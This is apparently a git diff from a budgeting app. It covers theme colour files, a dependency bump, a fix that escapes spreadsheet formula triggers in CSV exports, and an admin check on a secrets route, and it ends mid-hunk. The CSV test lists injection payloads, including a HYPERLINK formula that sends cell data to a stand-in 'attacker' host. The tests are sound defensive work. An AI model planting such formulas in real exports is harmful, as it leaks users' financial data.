||||
export const pageBackgroundLineMid = colorPalette.navy100;
|
||||
export const pageBackgroundLineBottom = colorPalette.blue150;
|
||||
export const pageText = '#272630';
|
||||
export const pageTextLight = colorPalette.navy500;
|
||||
export const pageTextSubdued = colorPalette.navy300;
|
||||
export const pageTextDark = colorPalette.navy800;
|
||||
export const pageTextPositive = colorPalette.purple600;
|
||||
export const pageTextLink = colorPalette.blue600;
|
||||
export const pageTextLinkLight = colorPalette.blue300;
|
||||
|
||||
export const cardBackground = colorPalette.white;
|
||||
export const cardBorder = colorPalette.purple700;
|
||||
export const cardShadow = colorPalette.navy700;
|
||||
|
||||
export const tableBackground = colorPalette.white;
|
||||
export const tableRowBackgroundHover = colorPalette.navy50;
|
||||
export const tableText = pageText;
|
||||
export const tableTextLight = colorPalette.navy400;
|
||||
export const tableTextSubdued = colorPalette.navy100;
|
||||
export const tableTextSelected = colorPalette.navy700;
|
||||
export const tableTextHover = colorPalette.navy900;
|
||||
export const tableTextInactive = colorPalette.navy500;
|
||||
export const tableHeaderText = colorPalette.navy600;
|
||||
export const tableHeaderBackground = colorPalette.white;
|
||||
export const tableBorder = colorPalette.navy100;
|
||||
export const tableBorderSelected = colorPalette.purple500;
|
||||
export const tableBorderHover = colorPalette.purple400;
|
||||
export const tableBorderSeparator = colorPalette.navy400;
|
||||
export const tableRowBackgroundHighlight = colorPalette.blue150;
|
||||
export const tableRowBackgroundHighlightText = colorPalette.navy700;
|
||||
export const tableRowHeaderBackground = colorPalette.navy50;
|
||||
export const tableRowHeaderText = colorPalette.navy800;
|
||||
|
||||
export const numberPositive = colorPalette.green700;
|
||||
export const numberNegative = colorPalette.red500;
|
||||
export const numberNeutral = colorPalette.navy100;
|
||||
export const budgetNumberNegative = numberNegative;
|
||||
export const budgetNumberZero = tableTextSubdued;
|
||||
export const budgetNumberNeutral = tableText;
|
||||
export const budgetNumberPositive = budgetNumberNeutral;
|
||||
export const templateNumberFunded = numberPositive;
|
||||
export const templateNumberUnderFunded = colorPalette.orange700;
|
||||
export const toBudgetPositive = numberPositive;
|
||||
export const toBudgetZero = numberPositive;
|
||||
export const toBudgetNegative = budgetNumberNegative;
|
||||
|
||||
export const sidebarBackground = colorPalette.navy900;
|
||||
export const sidebarItemBackgroundPending = colorPalette.orange200;
|
||||
export const sidebarItemBackgroundPositive = colorPalette.green500;
|
||||
export const sidebarItemBackgroundFailed = colorPalette.red300;
|
||||
export const sidebarItemBackgroundHover = colorPalette.navy800;
|
||||
export const sidebarItemAccentSelected = colorPalette.purple200;
|
||||
export const sidebarItemText = colorPalette.navy150;
|
||||
export const sidebarItemTextSelected = colorPalette.purple200;
|
||||
export const sidebarBudgetName = colorPalette.navy150;
|
||||
|
||||
export const menuBackground = colorPalette.white;
|
||||
export const menuItemBackground = colorPalette.navy50;
|
||||
export const menuItemBackgroundHover = colorPalette.navy100;
|
||||
export const menuItemText = colorPalette.navy900;
|
||||
export const menuItemTextHover = menuItemText;
|
||||
export const menuItemTextSelected = colorPalette.purple300;
|
||||
export const menuItemTextHeader = colorPalette.navy400;
|
||||
export const menuBorder = colorPalette.navy100;
|
||||
export const menuBorderHover = colorPalette.purple100;
|
||||
export const menuKeybindingText = colorPalette.navy400;
|
||||
export const menuAutoCompleteBackground = colorPalette.navy900;
|
||||
export const menuAutoCompleteBackgroundHover = colorPalette.navy600;
|
||||
export const menuAutoCompleteText = colorPalette.white;
|
||||
export const menuAutoCompleteTextHover = colorPalette.green150;
|
||||
export const menuAutoCompleteTextHeader = colorPalette.orange150;
|
||||
export const menuAutoCompleteItemTextHover = menuAutoCompleteText;
|
||||
export const menuAutoCompleteItemText = menuAutoCompleteText;
|
||||
|
||||
export const modalBackground = colorPalette.white;
|
||||
export const modalBorder = colorPalette.white;
|
||||
export const mobileHeaderBackground = colorPalette.purple400;
|
||||
export const mobileHeaderText = colorPalette.navy50;
|
||||
export const mobileHeaderTextSubdued = colorPalette.gray200;
|
||||
export const mobileHeaderTextHover = 'rgba(200, 200, 200, .15)';
|
||||
export const mobilePageBackground = colorPalette.navy50;
|
||||
export const mobileNavBackground = colorPalette.white;
|
||||
export const mobileNavItem = colorPalette.gray300;
|
||||
export const mobileNavItemSelected = colorPalette.purple500;
|
||||
export const mobileAccountShadow = colorPalette.navy300;
|
||||
export const mobileAccountText = colorPalette.blue800;
|
||||
export const mobileTransactionSelected = colorPalette.purple500;
|
||||
|
||||
// Mobile view themes (for the top bar)
|
||||
export const mobileViewTheme = mobileHeaderBackground;
|
||||
export const mobileConfigServerViewTheme = colorPalette.purple500;
|
||||
|
||||
export const markdownNormal = colorPalette.purple150;
|
||||
export const markdownDark = colorPalette.purple400;
|
||||
export const markdownLight = colorPalette.purple100;
|
||||
|
||||
// Button
|
||||
export const buttonMenuText = colorPalette.navy100;
|
||||
export const buttonMenuTextHover = colorPalette.navy50;
|
||||
export const buttonMenuBackground = 'transparent';
|
||||
export const buttonMenuBackgroundHover = 'rgba(200, 200, 200, .25)';
|
||||
export const buttonMenuBorder = colorPalette.navy500;
|
||||
export const buttonMenuSelectedText = colorPalette.green800;
|
||||
export const buttonMenuSelectedTextHover = colorPalette.orange800;
|
||||
export const buttonMenuSelectedBackground = colorPalette.orange200;
|
||||
export const buttonMenuSelectedBackgroundHover = colorPalette.orange300;
|
||||
export const buttonMenuSelectedBorder = buttonMenuSelectedBackground;
|
||||
|
||||
export const buttonPrimaryText = colorPalette.white;
|
||||
export const buttonPrimaryTextHover = buttonPrimaryText;
|
||||
export const buttonPrimaryBackground = colorPalette.purple500;
|
||||
export const buttonPrimaryBackgroundHover = colorPalette.purple300;
|
||||
export const buttonPrimaryBorder = buttonPrimaryBackground;
|
||||
export const buttonPrimaryShadow = 'rgba(0, 0, 0, 0.3)';
|
||||
export const buttonPrimaryDisabledText = colorPalette.white;
|
||||
export const buttonPrimaryDisabledBackground = colorPalette.navy300;
|
||||
export const buttonPrimaryDisabledBorder = buttonPrimaryDisabledBackground;
|
||||
|
||||
export const buttonNormalText = colorPalette.navy900;
|
||||
export const buttonNormalTextHover = buttonNormalText;
|
||||
export const buttonNormalBackground = colorPalette.white;
|
||||
export const buttonNormalBackgroundHover = buttonNormalBackground;
|
||||
export const buttonNormalBorder = colorPalette.navy150;
|
||||
export const buttonNormalShadow = 'rgba(0, 0, 0, 0.2)';
|
||||
export const buttonNormalSelectedText = colorPalette.white;
|
||||
export const buttonNormalSelectedBackground = colorPalette.blue600;
|
||||
export const buttonNormalDisabledText = colorPalette.navy300;
|
||||
export const buttonNormalDisabledBackground = buttonNormalBackground;
|
||||
export const buttonNormalDisabledBorder = buttonNormalBorder;
|
||||
|
||||
export const calendarText = colorPalette.navy50;
|
||||
export const calendarBackground = colorPalette.navy900;
|
||||
export const calendarItemText = colorPalette.navy150;
|
||||
export const calendarItemBackground = colorPalette.navy800;
|
||||
export const calendarSelectedBackground = colorPalette.navy500;
|
||||
|
||||
export const buttonBareText = buttonNormalText;
|
||||
export const buttonBareTextHover = buttonNormalText;
|
||||
export const buttonBareBackground = 'transparent';
|
||||
export const buttonBareBackgroundHover = 'rgba(100, 100, 100, .15)';
|
||||
export const buttonBareBackgroundActive = 'rgba(100, 100, 100, .25)';
|
||||
export const buttonBareDisabledText = buttonNormalDisabledText;
|
||||
export const buttonBareDisabledBackground = buttonBareBackground;
|
||||
|
||||
export const noticeBackground = colorPalette.green150;
|
||||
export const noticeBackgroundLight = colorPalette.green100;
|
||||
export const noticeBackgroundDark = colorPalette.green500;
|
||||
export const noticeText = colorPalette.green700;
|
||||
export const noticeTextLight = colorPalette.green500;
|
||||
export const noticeTextDark = colorPalette.green900;
|
||||
export const noticeTextMenu = colorPalette.green200;
|
||||
export const noticeBorder = colorPalette.green500;
|
||||
export const warningBackground = colorPalette.orange200;
|
||||
export const warningText = colorPalette.orange700;
|
||||
export const warningTextLight = colorPalette.orange500;
|
||||
export const warningTextDark = colorPalette.orange900;
|
||||
export const warningBorder = colorPalette.orange500;
|
||||
export const errorBackground = colorPalette.red100;
|
||||
export const errorText = colorPalette.red500;
|
||||
export const errorTextDark = colorPalette.red700;
|
||||
export const errorTextDarker = colorPalette.red900;
|
||||
export const errorTextMenu = colorPalette.red200;
|
||||
export const errorBorder = colorPalette.red500;
|
||||
export const upcomingBackground = colorPalette.purple100;
|
||||
export const upcomingText = colorPalette.purple700;
|
||||
export const upcomingBorder = colorPalette.purple500;
|
||||
|
||||
export const formLabelText = colorPalette.blue600;
|
||||
export const formLabelBackground = colorPalette.blue200;
|
||||
export const formInputBackground = colorPalette.navy50;
|
||||
export const formInputBackgroundSelected = colorPalette.white;
|
||||
export const formInputBackgroundSelection = colorPalette.purple500;
|
||||
export const formInputBorder = colorPalette.navy150;
|
||||
export const formInputTextReadOnlySelection = colorPalette.navy50;
|
||||
export const formInputBorderSelected = colorPalette.purple500;
|
||||
export const formInputText = colorPalette.navy900;
|
||||
export const formInputTextSelected = colorPalette.navy50;
|
||||
export const formInputTextPlaceholder = colorPalette.navy300;
|
||||
export const formInputTextPlaceholderSelected = colorPalette.navy200;
|
||||
export const formInputTextSelection = colorPalette.navy100;
|
||||
export const formInputShadowSelected = colorPalette.purple300;
|
||||
export const formInputTextHighlight = colorPalette.purple200;
|
||||
export const checkboxText = tableBackground;
|
||||
export const checkboxBackgroundSelected = colorPalette.blue500;
|
||||
export const checkboxBorderSelected = colorPalette.blue500;
|
||||
export const checkboxShadowSelected = colorPalette.blue300;
|
||||
export const checkboxToggleBackground = colorPalette.gray400;
|
||||
export const checkboxToggleBackgroundSelected = colorPalette.purple600;
|
||||
export const checkboxToggleDisabled = colorPalette.gray200;
|
||||
|
||||
export const pillBackground = colorPalette.navy150;
|
||||
export const pillBackgroundLight = colorPalette.navy50;
|
||||
export const pillText = colorPalette.navy800;
|
||||
export const pillTextHighlighted = colorPalette.purple600;
|
||||
export const pillBorder = colorPalette.navy150;
|
||||
export const pillBorderDark = colorPalette.navy300;
|
||||
export const pillBackgroundSelected = colorPalette.blue150;
|
||||
export const pillTextSelected = colorPalette.blue900;
|
||||
export const pillBorderSelected = colorPalette.purple500;
|
||||
export const pillTextSubdued = colorPalette.navy200;
|
||||
|
||||
export const reportsRed = colorPalette.red300;
|
||||
export const reportsBlue = colorPalette.blue400;
|
||||
export const reportsGreen = colorPalette.green400;
|
||||
export const reportsGray = colorPalette.gray400;
|
||||
export const reportsLabel = colorPalette.navy900;
|
||||
export const reportsInnerLabel = colorPalette.navy800;
|
||||
export const reportsNumberPositive = numberPositive;
|
||||
export const reportsNumberNegative = numberNegative;
|
||||
export const reportsNumberNeutral = numberNeutral;
|
||||
export const reportsChartFill = reportsNumberPositive;
|
||||
|
||||
export const noteTagBackground = colorPalette.purple125;
|
||||
export const noteTagBackgroundHover = colorPalette.purple150;
|
||||
export const noteTagDefault = colorPalette.purple125;
|
||||
export const noteTagText = colorPalette.black;
|
||||
|
||||
export const budgetCurrentMonth = tableBackground;
|
||||
export const budgetOtherMonth = colorPalette.gray50;
|
||||
export const budgetHeaderCurrentMonth = budgetOtherMonth;
|
||||
export const budgetHeaderOtherMonth = colorPalette.gray80;
|
||||
|
||||
export const floatingActionBarBackground = colorPalette.purple400;
|
||||
export const floatingActionBarBorder = floatingActionBarBackground;
|
||||
export const floatingActionBarText = colorPalette.navy50;
|
||||
|
||||
export const tooltipText = colorPalette.navy900;
|
||||
export const tooltipBackground = colorPalette.white;
|
||||
export const tooltipBorder = colorPalette.navy150;
|
||||
|
||||
export const calendarCellBackground = colorPalette.navy100;
|
||||
|
||||
export const overlayBackground = 'rgba(0, 0, 0, 0.3)';
|
||||
|
||||
// Chart colors - Qualitative scale (9 colors)
|
||||
export const chartQual1 = colorPalette.chartQual1;
|
||||
export const chartQual2 = colorPalette.chartQual2;
|
||||
export const chartQual3 = colorPalette.chartQual3;
|
||||
export const chartQual4 = colorPalette.chartQual4;
|
||||
export const chartQual5 = colorPalette.chartQual5;
|
||||
export const chartQual6 = colorPalette.chartQual6;
|
||||
export const chartQual7 = colorPalette.chartQual7;
|
||||
export const chartQual8 = colorPalette.chartQual8;
|
||||
export const chartQual9 = colorPalette.chartQual9;
|
||||
@@ -1,251 +0,0 @@
|
||||
import * as colorPalette from '#style/palette';
|
||||
|
||||
export const pageBackground = colorPalette.gray600;
|
||||
export const pageBackgroundModalActive = colorPalette.gray700;
|
||||
export const pageBackgroundTopLeft = colorPalette.gray800;
|
||||
export const pageBackgroundBottomRight = colorPalette.gray700;
|
||||
export const pageBackgroundLineTop = colorPalette.purple300;
|
||||
export const pageBackgroundLineMid = colorPalette.gray900;
|
||||
export const pageBackgroundLineBottom = colorPalette.gray150;
|
||||
export const pageText = colorPalette.gray100;
|
||||
export const pageTextLight = colorPalette.gray200;
|
||||
export const pageTextSubdued = colorPalette.gray400;
|
||||
export const pageTextDark = colorPalette.gray100;
|
||||
export const pageTextPositive = colorPalette.purple200;
|
||||
export const pageTextLink = colorPalette.purple300;
|
||||
export const pageTextLinkLight = colorPalette.purple300;
|
||||
|
||||
export const cardBackground = colorPalette.gray800;
|
||||
export const cardBorder = colorPalette.purple300;
|
||||
export const cardShadow = colorPalette.gray900;
|
||||
|
||||
export const tableBackground = colorPalette.gray800;
|
||||
export const tableRowBackgroundHover = colorPalette.gray500;
|
||||
export const tableText = colorPalette.gray150;
|
||||
export const tableTextLight = tableText;
|
||||
export const tableTextSubdued = colorPalette.gray500;
|
||||
export const tableTextSelected = colorPalette.gray800;
|
||||
export const tableTextHover = colorPalette.gray400;
|
||||
export const tableTextInactive = colorPalette.gray400;
|
||||
export const tableHeaderText = colorPalette.gray200;
|
||||
export const tableHeaderBackground = colorPalette.gray900;
|
||||
export const tableBorder = colorPalette.gray600;
|
||||
export const tableBorderSelected = colorPalette.purple400;
|
||||
export const tableBorderHover = colorPalette.purple300;
|
||||
export const tableBorderSeparator = colorPalette.gray400;
|
||||
export const tableRowBackgroundHighlight = colorPalette.purple150;
|
||||
export const tableRowBackgroundHighlightText = colorPalette.gray800;
|
||||
export const tableRowHeaderBackground = colorPalette.gray700;
|
||||
export const tableRowHeaderText = colorPalette.gray150;
|
||||
|
||||
export const numberPositive = colorPalette.green300;
|
||||
export const numberNegative = colorPalette.red200;
|
||||
export const numberNeutral = colorPalette.gray500;
|
||||
export const budgetNumberNegative = numberNegative;
|
||||
export const budgetNumberZero = tableTextSubdued;
|
||||
export const budgetNumberNeutral = tableText;
|
||||
export const budgetNumberPositive = budgetNumberNeutral;
|
||||
export const templateNumberFunded = numberPositive;
|
||||
export const templateNumberUnderFunded = colorPalette.orange200;
|
||||
export const toBudgetPositive = numberPositive;
|
||||
export const toBudgetZero = numberPositive;
|
||||
export const toBudgetNegative = budgetNumberNegative;
|
||||
|
||||
export const sidebarBackground = colorPalette.gray900;
|
||||
export const sidebarItemBackgroundPending = colorPalette.orange200;
|
||||
export const sidebarItemBackgroundPositive = colorPalette.green400;
|
||||
export const sidebarItemBackgroundFailed = colorPalette.red300;
|
||||
export const sidebarItemAccentSelected = colorPalette.purple200;
|
||||
export const sidebarItemBackgroundHover = colorPalette.gray700;
|
||||
export const sidebarItemText = colorPalette.gray100;
|
||||
export const sidebarItemTextSelected = colorPalette.purple200;
|
||||
export const sidebarBudgetName = colorPalette.gray300;
|
||||
|
||||
export const menuBackground = colorPalette.gray700;
|
||||
export const menuItemBackground = colorPalette.gray200;
|
||||
export const menuItemBackgroundHover = colorPalette.gray500;
|
||||
export const menuItemText = colorPalette.gray100;
|
||||
export const menuItemTextHover = colorPalette.gray50;
|
||||
export const menuItemTextSelected = colorPalette.purple400;
|
||||
export const menuItemTextHeader = colorPalette.purple200;
|
||||
export const menuBorder = colorPalette.gray800;
|
||||
export const menuBorderHover = colorPalette.purple300;
|
||||
export const menuKeybindingText = colorPalette.purple200;
|
||||
export const menuAutoCompleteBackground = colorPalette.gray600;
|
||||
export const menuAutoCompleteBackgroundHover = colorPalette.gray500;
|
||||
export const menuAutoCompleteText = colorPalette.gray100;
|
||||
export const menuAutoCompleteTextHover = colorPalette.green400;
|
||||
export const menuAutoCompleteTextHeader = colorPalette.purple200;
|
||||
export const menuAutoCompleteItemTextHover = colorPalette.gray50;
|
||||
export const menuAutoCompleteItemText = menuItemText;
|
||||
export const modalBackground = colorPalette.gray700;
|
||||
export const modalBorder = colorPalette.gray200;
|
||||
export const mobileHeaderBackground = colorPalette.gray900;
|
||||
export const mobileHeaderText = colorPalette.purple200;
|
||||
export const mobileHeaderTextSubdued = colorPalette.gray200;
|
||||
export const mobileHeaderTextHover = 'rgba(200, 200, 200, .15)';
|
||||
export const mobilePageBackground = colorPalette.gray900;
|
||||
export const mobileNavBackground = colorPalette.gray600;
|
||||
export const mobileNavItem = colorPalette.gray150;
|
||||
export const mobileNavItemSelected = colorPalette.purple200;
|
||||
export const mobileAccountShadow = cardShadow;
|
||||
export const mobileAccountText = colorPalette.blue800;
|
||||
export const mobileTransactionSelected = colorPalette.purple300;
|
||||
|
||||
// Mobile view themes (for the top bar)
|
||||
export const mobileViewTheme = mobileHeaderBackground;
|
||||
export const mobileConfigServerViewTheme = colorPalette.purple500;
|
||||
|
||||
export const markdownNormal = colorPalette.purple700;
|
||||
export const markdownDark = colorPalette.purple500;
|
||||
export const markdownLight = colorPalette.purple800;
|
||||
|
||||
// Button
|
||||
export const buttonMenuText = colorPalette.gray200;
|
||||
export const buttonMenuTextHover = buttonMenuText;
|
||||
export const buttonMenuBackground = colorPalette.gray700;
|
||||
export const buttonMenuBackgroundHover = 'rgba(200, 200, 200, .25)';
|
||||
export const buttonMenuBorder = colorPalette.gray500;
|
||||
export const buttonMenuSelectedText = colorPalette.green800;
|
||||
export const buttonMenuSelectedTextHover = colorPalette.orange800;
|
||||
export const buttonMenuSelectedBackground = colorPalette.orange200;
|
||||
export const buttonMenuSelectedBackgroundHover = colorPalette.gray300;
|
||||
export const buttonMenuSelectedBorder = buttonMenuSelectedBackground;
|
||||
|
||||
export const buttonPrimaryText = colorPalette.white;
|
||||
export const buttonPrimaryTextHover = buttonPrimaryText;
|
||||
export const buttonPrimaryBackground = colorPalette.purple300;
|
||||
export const buttonPrimaryBackgroundHover = buttonPrimaryBackground;
|
||||
export const buttonPrimaryBorder = buttonPrimaryBackground;
|
||||
export const buttonPrimaryShadow = 'rgba(0, 0, 0, 0.6)';
|
||||
export const buttonPrimaryDisabledText = colorPalette.gray400;
|
||||
export const buttonPrimaryDisabledBackground = colorPalette.gray700;
|
||||
export const buttonPrimaryDisabledBorder = buttonPrimaryDisabledBackground;
|
||||
|
||||
export const buttonNormalText = colorPalette.gray150;
|
||||
export const buttonNormalTextHover = colorPalette.gray150;
|
||||
export const buttonNormalBackground = colorPalette.gray600;
|
||||
export const buttonNormalBackgroundHover = colorPalette.gray400;
|
||||
export const buttonNormalBorder = colorPalette.gray300;
|
||||
export const buttonNormalShadow = 'rgba(0, 0, 0, 0.4)';
|
||||
export const buttonNormalSelectedText = colorPalette.white;
|
||||
export const buttonNormalSelectedBackground = colorPalette.purple500;
|
||||
export const buttonNormalDisabledText = colorPalette.gray400;
|
||||
export const buttonNormalDisabledBackground = colorPalette.gray700;
|
||||
export const buttonNormalDisabledBorder = colorPalette.gray500;
|
||||
|
||||
export const calendarText = colorPalette.gray50;
|
||||
export const calendarBackground = colorPalette.gray700;
|
||||
export const calendarItemText = colorPalette.gray150;
|
||||
export const calendarItemBackground = colorPalette.gray500;
|
||||
export const calendarSelectedBackground = buttonNormalSelectedBackground;
|
||||
|
||||
export const buttonBareText = buttonNormalText;
|
||||
export const buttonBareTextHover = buttonNormalText;
|
||||
export const buttonBareBackground = 'transparent';
|
||||
export const buttonBareBackgroundHover = 'rgba(200, 200, 200, .3)';
|
||||
export const buttonBareBackgroundActive = 'rgba(200, 200, 200, .5)';
|
||||
export const buttonBareDisabledText = buttonNormalDisabledText;
|
||||
export const buttonBareDisabledBackground = buttonBareBackground;
|
||||
|
||||
export const noticeBackground = colorPalette.green600;
|
||||
export const noticeBackgroundLight = colorPalette.green900;
|
||||
export const noticeBackgroundDark = colorPalette.green400;
|
||||
export const noticeText = colorPalette.green300;
|
||||
export const noticeTextLight = colorPalette.green400;
|
||||
export const noticeTextDark = colorPalette.green150;
|
||||
export const noticeTextMenu = colorPalette.green400;
|
||||
export const noticeTextMenuHover = colorPalette.green700;
|
||||
export const noticeBorder = colorPalette.green800;
|
||||
export const warningBackground = colorPalette.orange800;
|
||||
export const warningText = colorPalette.orange200;
|
||||
export const warningTextLight = colorPalette.orange500;
|
||||
export const warningTextDark = colorPalette.orange100;
|
||||
export const warningBorder = colorPalette.orange500;
|
||||
export const errorBackground = colorPalette.red800;
|
||||
export const errorText = colorPalette.red200;
|
||||
export const errorTextDark = colorPalette.red150;
|
||||
export const errorTextDarker = errorTextDark;
|
||||
export const errorTextMenu = colorPalette.red200;
|
||||
export const errorBorder = colorPalette.red500;
|
||||
export const upcomingBackground = colorPalette.purple800;
|
||||
export const upcomingText = colorPalette.purple200;
|
||||
export const upcomingBorder = tableBorder;
|
||||
|
||||
export const formLabelText = colorPalette.purple150;
|
||||
export const formLabelBackground = colorPalette.blue900;
|
||||
export const formInputBackground = colorPalette.gray800;
|
||||
export const formInputBackgroundSelected = colorPalette.gray700;
|
||||
export const formInputBackgroundSelection = colorPalette.purple400;
|
||||
export const formInputBorder = colorPalette.gray600;
|
||||
export const formInputTextReadOnlySelection = colorPalette.gray800;
|
||||
export const formInputBorderSelected = colorPalette.purple300;
|
||||
export const formInputText = colorPalette.gray150;
|
||||
export const formInputTextSelected = colorPalette.black;
|
||||
export const formInputTextPlaceholder = colorPalette.gray150;
|
||||
export const formInputTextPlaceholderSelected = colorPalette.gray100;
|
||||
export const formInputTextSelection = colorPalette.gray800;
|
||||
export const formInputShadowSelected = colorPalette.purple400;
|
||||
export const formInputTextHighlight = colorPalette.purple200;
|
||||
export const checkboxText = tableText;
|
||||
export const checkboxBackgroundSelected = colorPalette.purple300;
|
||||
export const checkboxBorderSelected = colorPalette.purple300;
|
||||
export const checkboxShadowSelected = colorPalette.purple500;
|
||||
export const checkboxToggleBackground = colorPalette.gray400;
|
||||
export const checkboxToggleBackgroundSelected = colorPalette.purple300;
|
||||
export const checkboxToggleDisabled = colorPalette.gray700;
|
||||
|
||||
export const pillBackground = colorPalette.gray500;
|
||||
export const pillBackgroundLight = colorPalette.gray900;
|
||||
export const pillText = colorPalette.gray200;
|
||||
export const pillTextHighlighted = colorPalette.purple200;
|
||||
export const pillBorder = colorPalette.gray500;
|
||||
export const pillBorderDark = pillBorder;
|
||||
export const pillBackgroundSelected = colorPalette.purple600;
|
||||
export const pillTextSelected = colorPalette.gray150;
|
||||
export const pillBorderSelected = colorPalette.purple300;
|
||||
export const pillTextSubdued = colorPalette.gray500;
|
||||
|
||||
export const reportsRed = colorPalette.red300;
|
||||
export const reportsBlue = colorPalette.blue400;
|
||||
export const reportsGreen = colorPalette.green400;
|
||||
export const reportsGray = colorPalette.gray400;
|
||||
export const reportsLabel = pageText;
|
||||
export const reportsInnerLabel = colorPalette.navy800;
|
||||
export const reportsNumberPositive = numberPositive;
|
||||
export const reportsNumberNegative = numberNegative;
|
||||
export const reportsNumberNeutral = numberNeutral;
|
||||
export const reportsChartFill = reportsNumberPositive;
|
||||
|
||||
export const noteTagBackground = colorPalette.purple800;
|
||||
export const noteTagBackgroundHover = colorPalette.purple600;
|
||||
export const noteTagDefault = colorPalette.purple700;
|
||||
export const noteTagText = colorPalette.purple100;
|
||||
|
||||
export const budgetOtherMonth = colorPalette.gray700;
|
||||
export const budgetCurrentMonth = tableBackground;
|
||||
export const budgetHeaderOtherMonth = colorPalette.gray800;
|
||||
export const budgetHeaderCurrentMonth = tableHeaderBackground;
|
||||
|
||||
export const floatingActionBarBackground = colorPalette.gray900;
|
||||
export const floatingActionBarBorder = colorPalette.purple300;
|
||||
export const floatingActionBarText = colorPalette.purple200;
|
||||
|
||||
export const tooltipText = colorPalette.gray100;
|
||||
export const tooltipBackground = colorPalette.gray800;
|
||||
export const tooltipBorder = colorPalette.gray600;
|
||||
|
||||
export const calendarCellBackground = colorPalette.navy900;
|
||||
|
||||
export const overlayBackground = 'rgba(0, 0, 0, 0.3)';
|
||||
|
||||
// Chart colors - Qualitative scale (9 colors)
|
||||
export const chartQual1 = colorPalette.chartQual1;
|
||||
export const chartQual2 = colorPalette.chartQual2;
|
||||
export const chartQual3 = colorPalette.chartQual3;
|
||||
export const chartQual4 = colorPalette.chartQual4;
|
||||
export const chartQual5 = colorPalette.chartQual5;
|
||||
export const chartQual6 = colorPalette.chartQual6;
|
||||
export const chartQual7 = colorPalette.chartQual7;
|
||||
export const chartQual8 = colorPalette.chartQual8;
|
||||
export const chartQual9 = colorPalette.chartQual9;
|
||||
@@ -220,7 +220,7 @@
|
||||
"ts-node": "^10.9.2",
|
||||
"util": "^0.12.5",
|
||||
"vite": "^8.0.5",
|
||||
"vite-plugin-node-polyfills": "^0.26.0",
|
||||
"vite-plugin-node-polyfills": "^0.27.0",
|
||||
"vite-plugin-peggy-loader": "^2.0.1",
|
||||
"vitest": "^4.1.2",
|
||||
"yargs": "^18.0.0"
|
||||
|
||||
@@ -0,0 +1,60 @@
|
||||
import { parse as csvParse } from 'csv-parse/sync';
|
||||
|
||||
import { exportToCSV } from './export-to-csv';
|
||||
|
||||
describe('exportToCSV', () => {
|
||||
const accounts = [{ id: 'a1', name: 'Checking' }];
|
||||
const categoryGroups = [
|
||||
{ name: 'Income', categories: [{ id: 'c1', name: 'Salary' }] },
|
||||
];
|
||||
|
||||
function makeTransaction(overrides: Record<string, unknown> = {}) {
|
||||
return {
|
||||
account: 'a1',
|
||||
date: '2026-01-01',
|
||||
payee: 'p1',
|
||||
notes: '',
|
||||
category: 'c1',
|
||||
amount: 10000,
|
||||
cleared: false,
|
||||
reconciled: false,
|
||||
...overrides,
|
||||
};
|
||||
}
|
||||
|
||||
async function payeeCell(payeeName: string, amount = 10000) {
|
||||
const csv = await exportToCSV(
|
||||
[makeTransaction({ amount })],
|
||||
accounts,
|
||||
categoryGroups,
|
||||
[{ id: 'p1', name: payeeName }],
|
||||
);
|
||||
const rows = csvParse(csv, { columns: true }) as Array<
|
||||
Record<string, string>
|
||||
>;
|
||||
return { row: rows[0], csv };
|
||||
}
|
||||
|
||||
it.each([
|
||||
['=HYPERLINK("http://attacker/?d="&B2,"x")'],
|
||||
['=1+1'],
|
||||
['+1+1'],
|
||||
['-2+3'],
|
||||
['@SUM(1+1)'],
|
||||
['\tHELLO'],
|
||||
['\rHELLO'],
|
||||
])('prefixes a payee starting with %j with a single quote', async payload => {
|
||||
const { row } = await payeeCell(payload);
|
||||
expect(row.Payee).toBe("'" + payload);
|
||||
});
|
||||
|
||||
it('does not prefix payees without a leading trigger character', async () => {
|
||||
const { row } = await payeeCell('Acme Corp');
|
||||
expect(row.Payee).toBe('Acme Corp');
|
||||
});
|
||||
|
||||
it('does not prefix negative numeric amounts', async () => {
|
||||
const { row } = await payeeCell('Acme', -2500);
|
||||
expect(row.Amount).toBe('-25');
|
||||
});
|
||||
});
|
||||
@@ -4,6 +4,16 @@ import { stringify as csvStringify } from 'csv-stringify/sync';
|
||||
import { aqlQuery } from '#server/aql';
|
||||
import { integerToAmount } from '#shared/util';
|
||||
|
||||
const FORMULA_TRIGGERS = /^[=+\-@\t\r]/;
|
||||
|
||||
const csvStringifyOptions = {
|
||||
header: true,
|
||||
cast: {
|
||||
string: (value: string) =>
|
||||
FORMULA_TRIGGERS.test(value) ? "'" + value : value,
|
||||
},
|
||||
};
|
||||
|
||||
export async function exportToCSV(
|
||||
transactions,
|
||||
accounts,
|
||||
@@ -53,7 +63,7 @@ export async function exportToCSV(
|
||||
}),
|
||||
);
|
||||
|
||||
return csvStringify(transactionsForExport, { header: true });
|
||||
return csvStringify(transactionsForExport, csvStringifyOptions);
|
||||
}
|
||||
|
||||
export async function exportQueryToCSV(query) {
|
||||
@@ -128,5 +138,5 @@ export async function exportQueryToCSV(query) {
|
||||
};
|
||||
});
|
||||
|
||||
return csvStringify(transactionsForExport, { header: true });
|
||||
return csvStringify(transactionsForExport, csvStringifyOptions);
|
||||
}
|
||||
|
||||
@@ -62,7 +62,6 @@ export default defineConfig(({ mode }) => {
|
||||
},
|
||||
plugins: [
|
||||
peggyLoader(),
|
||||
// https://github.com/davidmyersdev/vite-plugin-node-polyfills/issues/142
|
||||
nodePolyfills({
|
||||
include: [
|
||||
'process',
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
import express from 'express';
|
||||
|
||||
import { getAccountDb, isAdmin } from './account-db';
|
||||
import { secretsService } from './services/secrets-service';
|
||||
import { getActiveLoginMethod, isAdmin } from './account-db';
|
||||
import { SecretName, secretsService } from './services/secrets-service';
|
||||
import {
|
||||
requestLoggerMiddleware,
|
||||
validateSessionMiddleware,
|
||||
@@ -14,35 +14,32 @@ app.use(express.json());
|
||||
app.use(requestLoggerMiddleware);
|
||||
app.use(validateSessionMiddleware);
|
||||
|
||||
// In OpenID mode the secrets store is admin-managed; non-admins must be
|
||||
// blocked from both reads and writes, otherwise they can enumerate which
|
||||
// integrations are configured.
|
||||
function canManageSecrets(userId) {
|
||||
return getActiveLoginMethod() !== 'openid' || isAdmin(userId);
|
||||
}
|
||||
|
||||
app.post('/', async (req, res) => {
|
||||
let method;
|
||||
try {
|
||||
const result = getAccountDb().first(
|
||||
'SELECT method FROM auth WHERE active = 1',
|
||||
);
|
||||
method = result?.method;
|
||||
} catch (error) {
|
||||
console.error('Failed to fetch auth method:', error);
|
||||
return res.status(500).send({
|
||||
if (!canManageSecrets(res.locals.user_id)) {
|
||||
res.status(403).send({
|
||||
status: 'error',
|
||||
reason: 'database-error',
